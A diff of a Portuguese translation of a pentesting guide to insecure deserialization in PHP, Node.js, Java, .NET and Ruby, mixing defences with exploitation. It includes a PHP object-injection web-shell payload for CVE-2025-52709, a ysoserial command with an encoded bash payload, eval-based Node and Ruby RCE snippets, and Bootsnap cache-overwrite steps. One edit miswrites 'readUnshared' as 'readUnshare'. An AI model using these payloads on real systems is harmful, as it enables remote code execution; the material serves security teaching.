Translated ['src/pentesting-web/deserialization/README.md'] to pt

src/pentesting-web/deserialization/README.md

@@ -8,7 +8,7 @@
 
 **Desserialização**, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
 
-A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
+A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causem comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
 
 ## PHP
 
@@ -74,7 +74,7 @@ This is a test<br />
 */
 ?>
 ```
-Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está acontecendo mais**.
+Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está mais acontecendo**.
 
 > [!WARNING]
 > O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias após a desserialização.
@@ -90,11 +90,11 @@ Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **
 > }
 > ```
 
-Você pode ler um **exemplo explicado de PHP aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+Você pode ler um **exemplo PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
 
 ### PHP Deserial + Autoload Classes
 
-Você poderia abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
+Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
 
 {{#ref}}
 php-deserialization-+-autoload-classes.md
@@ -115,15 +115,67 @@ $o->param1 =& $o->param22;
 $o->param = "PARAM";
 $ser=serialize($o);
 ```
+### Prevenindo a Injeção de Objetos PHP com `allowed_classes`
+
+> [!INFO]
+> O suporte para o **segundo argumento** de `unserialize()` (o array `$options`) foi adicionado no **PHP 7.0**. Em versões mais antigas, a função aceita apenas a string serializada, tornando impossível restringir quais classes podem ser instanciadas.
+
+`unserialize()` irá **instanciar todas as classes** que encontrar dentro do fluxo serializado, a menos que seja informado o contrário. Desde o PHP 7, o comportamento pode ser restrito com a opção [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
+```php
+// NEVER DO THIS – full object instantiation
+$object = unserialize($userControlledData);
+
+// SAFER – disable object instantiation completely
+$object = unserialize($userControlledData, [
+'allowed_classes' => false    // no classes may be created
+]);
+
+// Granular – only allow a strict white-list of models
+$object = unserialize($userControlledData, [
+'allowed_classes' => [MyModel::class, DateTime::class]
+]);
+```
+Se **`allowed_classes` for omitido _ou_ o código for executado em PHP < 7.0**, a chamada se torna **perigosa**, pois um atacante pode criar um payload que abusa de métodos mágicos como `__wakeup()` ou `__destruct()` para alcançar Execução Remota de Código (RCE).
+
+#### Exemplo do mundo real: Everest Forms (WordPress) CVE-2025-52709
+
+O plugin do WordPress **Everest Forms ≤ 3.2.2** tentou ser defensivo com um wrapper auxiliar, mas esqueceu das versões legadas do PHP:
+```php
+function evf_maybe_unserialize($data, $options = array()) {
+if (is_serialized($data)) {
+if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
+// SAFE branch (PHP ≥ 7.1)
+$options = wp_parse_args($options, array('allowed_classes' => false));
+return @unserialize(trim($data), $options);
+}
+// DANGEROUS branch (PHP < 7.1)
+return @unserialize(trim($data));
+}
+return $data;
+}
+```
+Em servidores que ainda executavam **PHP ≤ 7.0**, este segundo ramo levou a uma clássica **PHP Object Injection** quando um administrador abria uma submissão de formulário maliciosa. Um payload de exploit mínimo poderia ser assim:
+```
+O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
+```
+Assim que o administrador visualizou a entrada, o objeto foi instanciado e `SomeClass::__destruct()` foi executado, resultando na execução de código arbitrário.
+
+**Principais pontos**
+1. Sempre passe `['allowed_classes' => false]` (ou uma lista branca estrita) ao chamar `unserialize()`.
+2. Audite wrappers defensivos – eles frequentemente esquecem os ramos legados do PHP.
+3. Atualizar para **PHP ≥ 7.x** por si só *não* é suficiente: a opção ainda precisa ser fornecida explicitamente.
+
+---
+
 ### PHPGGC (ysoserial para PHP)
 
-[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações em PHP.\
+[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações PHP.\
 Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
-Portanto, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
+Então, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
 
 ### deserialização de metadados phar://
 
-Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
+Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** ocorrendo ao **ler** um **arquivo** usando o protocolo **phar**.\
 Para mais informações, leia o seguinte post:
 
 {{#ref}}
@@ -159,7 +211,7 @@ A página a seguir apresenta a técnica para **abusar de uma desserialização i
 python-yaml-deserialization.md
 {{#endref}}
 
-### Class Pollution (Poluição de Protótipo do Python)
+### Poluição de Classe (Poluição de Protótipo Python)
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@@ -231,9 +283,9 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
 
 ![](<../../images/image (446).png>)
 
-Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
+Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então, basicamente, **a entrada do usuário está sendo usada dentro da função `eval`**.
 
-No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
+No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
 De qualquer forma, você poderia **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
 No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
 ```javascript
@@ -288,7 +340,7 @@ function deserialize(serializedJavascript) {
 return eval("(" + serializedJavascript + ")")
 }
 ```
-Se esta função é usada para desserializar objetos, você pode **explorá-la facilmente**:
+Se esta função for usada para desserializar objetos, você pode **explorá-la facilmente**:
 ```javascript
 var serialize = require("serialize-javascript")
 //Serialization
@@ -322,7 +374,7 @@ Em Java, **os callbacks de deserialização são executados durante o processo d
 Para identificar potenciais vulnerabilidades de serialização na base de código, procure por:
 
 - Classes que implementam a interface `Serializable`.
-- Uso das funções `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
+- Uso das funções `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
 
 Preste atenção especial a:
 
@@ -335,7 +387,7 @@ Preste atenção especial a:
 
 #### Caixa Preta
 
-Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em Java (originários de `ObjectInputStream`):
+Para testes de caixa preta, procure por **assinaturas específicas ou "Magic Bytes"** que denotam objetos serializados em java (originando de `ObjectInputStream`):
 
 - Padrão hexadecimal: `AC ED 00 05`.
 - Padrão Base64: `rO0`.
@@ -348,7 +400,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
 ```
 ### Verifique se é vulnerável
 
-Se você quer **aprender como funciona um exploit de Deserialização em Java**, você deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização de DNS em Java**](java-dns-deserialization-and-gadgetprobe.md), e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
+Se você quer **aprender como funciona um exploit de Deserialização em Java**, você deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização de DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
 
 #### Teste de Caixa Branca
 
@@ -376,7 +428,7 @@ Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **
 
 **Teste de Serialização**
 
-Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo a você privilégios de administrador dentro de um webapp).\
+Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo privilégios de admin dentro de um webapp).\
 Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível por humanos o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.
 
 ### **Exploit**
@@ -430,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
-Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
+Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página](http://www.jackson-t.ca/runtime-exec-payloads.html).
 
 Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável:
 ```python
@@ -497,22 +549,22 @@ Java usa muita serialização para vários propósitos, como:
 - **RMI (Remote Method Invocation)**: O protocolo RMI do Java, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
 - **RMI sobre HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
 - **JMX (Java Management Extensions)**: O JMX utiliza serialização para transmitir objetos pela rede.
-- **Protocolos personalizados**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.
+- **Protocolos Personalizados**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.
 
 ### Prevention
 
 #### Transient objects
 
-Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializável. Por exemplo:
+Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
 ```java
 public class myAccount implements Serializable
 {
 private transient double profit; // declared transient
 private transient double margin; // declared transient
 ```
-#### Evite a Serialização de uma classe que precisa implementar Serializable
+#### Evite a serialização de uma classe que precisa implementar Serializable
 
-Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, como mostrado abaixo:
+Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, conforme mostrado abaixo:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
@@ -580,16 +632,17 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - Desserialização e palestra sobre ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
 - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
 - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
-- Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
+- Falar sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
-- Artigo Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
+- Artigo do Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Desserializações CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Java e .Net desserialização de JSON **artigo:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- CVEs de desserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
 
 ## Injeção JNDI & log4Shell
 
-Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar log4shell** (e exemplo dessa vulnerabilidade) na seguinte página:
+Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na seguinte página:
 
 {{#ref}}
 jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -618,6 +671,8 @@ A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **co
 
 ### Referências
 
+- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
+
 - Palestra JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
 - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
 
@@ -650,12 +705,12 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
 
 - **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
 - **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
-- **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
+- **`--output`** usado para indicar se você quer o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
 - **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
 
 #### Mais parâmetros do ysoserial.net
 
-- `--minify` fornecerá uma **carga útil menor** (se possível)
+- `--minify` fornecerá uma **carga menor** (se possível)
 - `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
 - `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatadores contendo "xml" (sem distinção entre maiúsculas e minúsculas)
 
@@ -716,9 +771,9 @@ Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewSta
 Para mitigar os riscos associados à deserialização em .Net:
 
 - **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
-- **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
+- **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** `TypeNameHandling = TypeNameHandling.None`
 - **Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.**
-- **Limite os tipos que podem ser deserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que pode modificar as propriedades dos arquivos do servidor, potencialmente levando a ataques de negação de serviço.
+- **Limite os tipos que podem ser deserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
 - **Tenha cautela com tipos que possuem propriedades arriscadas**, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
 - **Controle a instância de tipos de forma segura** para evitar que atacantes influenciem o processo de deserialização, tornando até mesmo `DataContractSerializer` ou `XmlSerializer` vulneráveis.
 - **Implemente controles de lista branca** usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
@@ -743,7 +798,7 @@ Para proteger objetos serializados, **Ruby utiliza HMAC (Hash-Based Message Auth
 - `config/secrets.yml`
 - `/proc/self/environ`
 
-**Deserialização genérica do Ruby 2.X para cadeia de gadgets RCE (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
+**Deserialização genérica do Ruby 2.X para cadeia de gadgets RCE (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
 ```ruby
 #!/usr/bin/env ruby
 
@@ -818,13 +873,13 @@ Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/r
 
 ### Método Ruby .send()
 
-Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, este método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
+Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada não sanitizada de usuário alcançar o método `.send()` de um objeto ruby, este método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
 
 Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
 ```ruby
 <Object>.send('eval', '<user input with Ruby code>') == RCE
 ```
-Além disso, se apenas um parâmetro de **`.send()`** for controlado por um atacante, como mencionado na descrição anterior, é possível chamar qualquer método do objeto que **não precisa de argumentos** ou cujos argumentos têm **valores padrão**.\
+Além disso, se apenas um parâmetro de **`.send()`** for controlado por um atacante, como mencionado na descrição anterior, é possível chamar qualquer método do objeto que **não precise de argumentos** ou cujos argumentos tenham **valores padrão**.\
 Para isso, é possível enumerar todos os métodos do objeto para **encontrar alguns métodos interessantes que atendam a esses requisitos**.
 ```ruby
 <Object>.send('<user_input>')
@@ -861,9 +916,9 @@ Verifique mais informações na [página de poluição _json Ruby](ruby-_json-po
 
 Esta técnica foi retirada [**deste post no blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que poderiam ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
+Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que podem ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
 
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
 
 Exemplo básico:
 ```ruby
@@ -887,7 +942,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-No caso de tentar abusar do Oj, foi possível encontrar uma classe gadget que dentro de sua função `hash` chamará `to_s`, que chamará spec, que chamará fetch_path, o que foi possível fazer para buscar uma URL aleatória, fornecendo um ótimo detector dessas vulnerabilidades de deserialização não sanitizadas.
+No caso de tentar abusar do Oj, foi possível encontrar uma classe gadget que dentro de sua função `hash` chamará `to_s`, que chamará spec, que chamará fetch_path, o que foi possível fazer para que buscasse uma URL aleatória, fornecendo um ótimo detector desse tipo de vulnerabilidades de deserialização não sanitizadas.
 ```json
 {
 "^o": "URI::HTTP",
@@ -923,9 +978,9 @@ Além disso, foi descoberto que com a técnica anterior uma pasta também é cri
 ```
 Verifique mais detalhes na [**postagem original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-### Cache de Bootstrap
+### Cache do Bootstrap
 
-Não é realmente uma vulnerabilidade de deserialização, mas um truque interessante para abusar do cache de bootstrap para obter RCE de uma aplicação Rails com uma escrita de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
+Não é realmente uma vulnerabilidade de desserialização, mas um truque interessante para abusar do cache do bootstrap para obter RCE de uma aplicação Rails com uma escrita de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
 
 Abaixo está um resumo curto dos passos detalhados no artigo para explorar uma vulnerabilidade de escrita de arquivo arbitrária abusando do cache do Bootsnap:
 
@@ -935,7 +990,7 @@ A funcionalidade de upload de arquivos da aplicação Rails permite que um ataca
 
 - Entender o Mecanismo de Cache do Bootsnap
 
-O Bootsnap acelera os tempos de inicialização do Rails armazenando em cache o código Ruby compilado, arquivos YAML e JSON. Ele armazena arquivos de cache que incluem um cabeçalho de chave de cache (com campos como versão do Ruby, tamanho do arquivo, mtime, opções de compilação, etc.) seguido pelo código compilado. Este cabeçalho é usado para validar o cache durante a inicialização da aplicação.
+O Bootsnap acelera os tempos de inicialização do Rails armazenando em cache código Ruby compilado, arquivos YAML e JSON. Ele armazena arquivos de cache que incluem um cabeçalho de chave de cache (com campos como versão do Ruby, tamanho do arquivo, mtime, opções de compilação, etc.) seguido pelo código compilado. Este cabeçalho é usado para validar o cache durante a inicialização da aplicação.
 
 - Coletar Metadados do Arquivo
 
@@ -956,6 +1011,6 @@ O atacante prepara um payload que:
 Esse payload é compilado em código Ruby binário e concatenado com um cabeçalho de chave de cache cuidadosamente construído (usando os metadados coletados anteriormente e o número da versão correto para o Bootsnap).
 
 - Sobrescrever e Acionar Execução
-Usando a vulnerabilidade de escrita de arquivo arbitrária, o atacante escreve o arquivo de cache criado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
+Usando a vulnerabilidade de escrita de arquivo arbitrária, o atacante escreve o arquivo de cache elaborado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
 
 {{#include ../../banners/hacktricks-training.md}}